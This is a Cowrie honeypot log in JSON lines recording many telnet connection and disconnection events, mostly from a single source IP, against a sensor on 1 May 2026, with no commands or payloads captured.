{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46950,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d1bb6f420de","protocol":"telnet","message":"New connection: 51.161.172.108:46950 (159.203.135.109:23) [session: 3d1bb6f420de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.694065Z"}
{"eventid":"cowrie.session.closed","duration":31.085728406906128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.725011Z","src_ip":"34.69.118.1","session":"443b295debfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46958,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ecc51a99b24","protocol":"telnet","message":"New connection: 51.161.172.108:46958 (159.203.135.109:23) [session: 2ecc51a99b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:54.809787Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46818,"dst_ip":"159.203.135.109","dst_port":23,"session":"596b777ed6fb","protocol":"telnet","message":"New connection: 51.161.172.108:46818 (159.203.135.109:23) [session: 596b777ed6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.024319Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46964,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e6aec320e0","protocol":"telnet","message":"New connection: 51.161.172.108:46964 (159.203.135.109:23) [session: d1e6aec320e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.080689Z"}
{"eventid":"cowrie.session.closed","duration":31.003602266311646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.127501Z","src_ip":"45.10.154.244","session":"9624aa2f21ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751498460769653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.180992Z","src_ip":"45.10.154.244","session":"86d2c209f301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804370164871216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.290651Z","src_ip":"51.161.172.108","session":"5061e2544e69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524475574493408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.329232Z","src_ip":"51.161.172.108","session":"cb49f6ad472f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46910,"dst_ip":"159.203.135.109","dst_port":23,"session":"6682923e88c0","protocol":"telnet","message":"New connection: 51.161.172.108:46910 (159.203.135.109:23) [session: 6682923e88c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.373981Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46918,"dst_ip":"159.203.135.109","dst_port":23,"session":"59dd214e82ed","protocol":"telnet","message":"New connection: 51.161.172.108:46918 (159.203.135.109:23) [session: 59dd214e82ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.435917Z"}
{"eventid":"cowrie.session.closed","duration":31.139244556427002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.595180Z","src_ip":"51.161.172.108","session":"1631b566a832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46936,"dst_ip":"159.203.135.109","dst_port":23,"session":"55fa7225b399","protocol":"telnet","message":"New connection: 51.161.172.108:46936 (159.203.135.109:23) [session: 55fa7225b399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.635468Z"}
{"eventid":"cowrie.session.closed","duration":31.37269616127014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.660113Z","src_ip":"51.161.172.108","session":"1f89c81a7c16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0528461933136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.716966Z","src_ip":"51.161.172.108","session":"03e38391d6ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46998,"dst_ip":"159.203.135.109","dst_port":23,"session":"12d1b407b132","protocol":"telnet","message":"New connection: 51.161.172.108:46998 (159.203.135.109:23) [session: 12d1b407b132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:55.884731Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47032,"dst_ip":"159.203.135.109","dst_port":23,"session":"323ebbc6df34","protocol":"telnet","message":"New connection: 51.161.172.108:47032 (159.203.135.109:23) [session: 323ebbc6df34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.025901Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47022,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ead5d42987","protocol":"telnet","message":"New connection: 51.161.172.108:47022 (159.203.135.109:23) [session: f6ead5d42987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.096917Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47038,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdbcbd832634","protocol":"telnet","message":"New connection: 51.161.172.108:47038 (159.203.135.109:23) [session: cdbcbd832634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.153522Z"}
{"eventid":"cowrie.session.closed","duration":31.27914834022522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.188221Z","src_ip":"51.161.172.108","session":"0edbc24add4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47054,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f245007471","protocol":"telnet","message":"New connection: 51.161.172.108:47054 (159.203.135.109:23) [session: d2f245007471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.194220Z"}
{"eventid":"cowrie.session.closed","duration":30.700982809066772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.216130Z","src_ip":"51.161.172.108","session":"5afb8de89717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47070,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f3f182a618a","protocol":"telnet","message":"New connection: 51.161.172.108:47070 (159.203.135.109:23) [session: 8f3f182a618a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.262722Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"322a9b0fccdc","protocol":"telnet","message":"New connection: 51.161.172.108:47078 (159.203.135.109:23) [session: 322a9b0fccdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.334119Z"}
{"eventid":"cowrie.session.closed","duration":31.419801712036133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.401145Z","src_ip":"51.161.172.108","session":"be3faa1ade0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.963133335113525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.430104Z","src_ip":"51.161.172.108","session":"6ac189727958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47132,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dc7d7e1a1e1","protocol":"telnet","message":"New connection: 51.161.172.108:47132 (159.203.135.109:23) [session: 8dc7d7e1a1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.551073Z"}
{"eventid":"cowrie.session.closed","duration":31.49661946296692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.611886Z","src_ip":"51.161.172.108","session":"09d11e5f383d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.310500383377075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.698793Z","src_ip":"51.161.172.108","session":"7d27432531cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47172,"dst_ip":"159.203.135.109","dst_port":23,"session":"26fae196e8a0","protocol":"telnet","message":"New connection: 51.161.172.108:47172 (159.203.135.109:23) [session: 26fae196e8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:56.755026Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47208,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f57046a15c","protocol":"telnet","message":"New connection: 51.161.172.108:47208 (159.203.135.109:23) [session: 26f57046a15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.099171Z"}
{"eventid":"cowrie.session.closed","duration":30.577821969985962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.204499Z","src_ip":"51.161.172.108","session":"b3174917f1b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47238,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a81039f4cd3","protocol":"telnet","message":"New connection: 51.161.172.108:47238 (159.203.135.109:23) [session: 8a81039f4cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.238460Z"}
{"eventid":"cowrie.session.closed","duration":31.983615159988403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.244761Z","src_ip":"51.161.172.108","session":"740212a0f5a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.476153135299683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.252580Z","src_ip":"51.161.172.108","session":"616b69fa5919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0935697555542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.282661Z","src_ip":"51.161.172.108","session":"734675e7e91f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091695308685303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.292028Z","src_ip":"45.10.154.244","session":"f623dccdffc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47258,"dst_ip":"159.203.135.109","dst_port":23,"session":"33630646638b","protocol":"telnet","message":"New connection: 51.161.172.108:47258 (159.203.135.109:23) [session: 33630646638b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.440592Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47268,"dst_ip":"159.203.135.109","dst_port":23,"session":"60dee35b1d0a","protocol":"telnet","message":"New connection: 51.161.172.108:47268 (159.203.135.109:23) [session: 60dee35b1d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.527133Z"}
{"eventid":"cowrie.session.closed","duration":31.10664939880371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.588212Z","src_ip":"45.10.154.244","session":"3124b93f1220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47304,"dst_ip":"159.203.135.109","dst_port":23,"session":"827912f05b42","protocol":"telnet","message":"New connection: 51.161.172.108:47304 (159.203.135.109:23) [session: 827912f05b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.616550Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47282,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eb8b7bd8099","protocol":"telnet","message":"New connection: 51.161.172.108:47282 (159.203.135.109:23) [session: 6eb8b7bd8099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.641453Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47144,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d817db70ca","protocol":"telnet","message":"New connection: 51.161.172.108:47144 (159.203.135.109:23) [session: 79d817db70ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.684977Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47310,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0f1c2f4673c","protocol":"telnet","message":"New connection: 51.161.172.108:47310 (159.203.135.109:23) [session: a0f1c2f4673c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.725634Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47340,"dst_ip":"159.203.135.109","dst_port":23,"session":"30bf6d65de6e","protocol":"telnet","message":"New connection: 51.161.172.108:47340 (159.203.135.109:23) [session: 30bf6d65de6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.834481Z"}
{"eventid":"cowrie.session.closed","duration":31.422048330307007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:57.988403Z","src_ip":"51.161.172.108","session":"0c6844827be7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47364,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebaaa81f735d","protocol":"telnet","message":"New connection: 51.161.172.108:47364 (159.203.135.109:23) [session: ebaaa81f735d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.030914Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47386,"dst_ip":"159.203.135.109","dst_port":23,"session":"13938875239c","protocol":"telnet","message":"New connection: 51.161.172.108:47386 (159.203.135.109:23) [session: 13938875239c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.094431Z"}
{"eventid":"cowrie.session.closed","duration":30.546120643615723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.172198Z","src_ip":"51.161.172.108","session":"4a84b70dea52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47206,"dst_ip":"159.203.135.109","dst_port":23,"session":"e321fd6361b8","protocol":"telnet","message":"New connection: 51.161.172.108:47206 (159.203.135.109:23) [session: e321fd6361b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.201738Z"}
{"eventid":"cowrie.session.closed","duration":30.825950384140015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.289340Z","src_ip":"51.161.172.108","session":"97ebe5b25c01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.432636737823486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.353196Z","src_ip":"51.161.172.108","session":"cdb8b530ca65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193536043167114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.622076Z","src_ip":"51.161.172.108","session":"b764bd694562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057993412017822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.677977Z","src_ip":"51.161.172.108","session":"4c4b231d8f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39742112159729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.698704Z","src_ip":"51.161.172.108","session":"864416138231","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.555540800094604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.735815Z","src_ip":"51.161.172.108","session":"326f45c0e569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215665102005005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.765349Z","src_ip":"51.161.172.108","session":"aa1eacd2eec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995065689086914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.803996Z","src_ip":"51.161.172.108","session":"b167c2ecc3d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47492,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30caf2fdd92","protocol":"telnet","message":"New connection: 51.161.172.108:47492 (159.203.135.109:23) [session: a30caf2fdd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:58.935652Z"}
{"eventid":"cowrie.session.closed","duration":31.398051261901855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.045879Z","src_ip":"51.161.172.108","session":"591812d64210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47526,"dst_ip":"159.203.135.109","dst_port":23,"session":"11127be442e2","protocol":"telnet","message":"New connection: 51.161.172.108:47526 (159.203.135.109:23) [session: 11127be442e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.141058Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60508,"dst_ip":"159.203.135.109","dst_port":23,"session":"43eae6ac1438","protocol":"telnet","message":"New connection: 34.69.118.1:60508 (159.203.135.109:23) [session: 43eae6ac1438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.240809Z"}
{"eventid":"cowrie.session.closed","duration":31.172314882278442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.246488Z","src_ip":"45.10.154.244","session":"b00a666afc7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60516,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b65bb1425d9","protocol":"telnet","message":"New connection: 34.69.118.1:60516 (159.203.135.109:23) [session: 3b65bb1425d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.400490Z"}
{"eventid":"cowrie.session.closed","duration":31.401716947555542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.414495Z","src_ip":"51.161.172.108","session":"87843c1e6c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109487295150757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.446084Z","src_ip":"51.161.172.108","session":"fa7194854487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064457178115845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.451392Z","src_ip":"51.161.172.108","session":"881c559b9b6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47114,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f9e6ffde8b3","protocol":"telnet","message":"New connection: 51.161.172.108:47114 (159.203.135.109:23) [session: 6f9e6ffde8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.567290Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39530,"dst_ip":"159.203.135.109","dst_port":23,"session":"a95ec8be1c90","protocol":"telnet","message":"New connection: 51.161.172.108:39530 (159.203.135.109:23) [session: a95ec8be1c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.673541Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47466,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5a46099ee73","protocol":"telnet","message":"New connection: 51.161.172.108:47466 (159.203.135.109:23) [session: b5a46099ee73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.689630Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39550,"dst_ip":"159.203.135.109","dst_port":23,"session":"a33823dacd99","protocol":"telnet","message":"New connection: 51.161.172.108:39550 (159.203.135.109:23) [session: a33823dacd99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:59.945792Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39544,"dst_ip":"159.203.135.109","dst_port":23,"session":"68951b22d47a","protocol":"telnet","message":"New connection: 51.161.172.108:39544 (159.203.135.109:23) [session: 68951b22d47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.040958Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47512,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f3005600efd","protocol":"telnet","message":"New connection: 51.161.172.108:47512 (159.203.135.109:23) [session: 2f3005600efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.051881Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39568,"dst_ip":"159.203.135.109","dst_port":23,"session":"517c84782c04","protocol":"telnet","message":"New connection: 51.161.172.108:39568 (159.203.135.109:23) [session: 517c84782c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.129068Z"}
{"eventid":"cowrie.session.closed","duration":30.983344078063965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.155335Z","src_ip":"51.161.172.108","session":"16478a7a0956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1468288898468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.176443Z","src_ip":"51.161.172.108","session":"002c58029eef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66611909866333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.197055Z","src_ip":"51.161.172.108","session":"8ab43ffdb292","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39566,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6779b3a8d5","protocol":"telnet","message":"New connection: 51.161.172.108:39566 (159.203.135.109:23) [session: 2a6779b3a8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.204128Z"}
{"eventid":"cowrie.session.closed","duration":30.94284415245056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.208562Z","src_ip":"45.10.154.244","session":"7febed289a7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39622,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec7143a05db6","protocol":"telnet","message":"New connection: 51.161.172.108:39622 (159.203.135.109:23) [session: ec7143a05db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.371563Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39638,"dst_ip":"159.203.135.109","dst_port":23,"session":"edefc131e963","protocol":"telnet","message":"New connection: 51.161.172.108:39638 (159.203.135.109:23) [session: edefc131e963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:00.395915Z"}
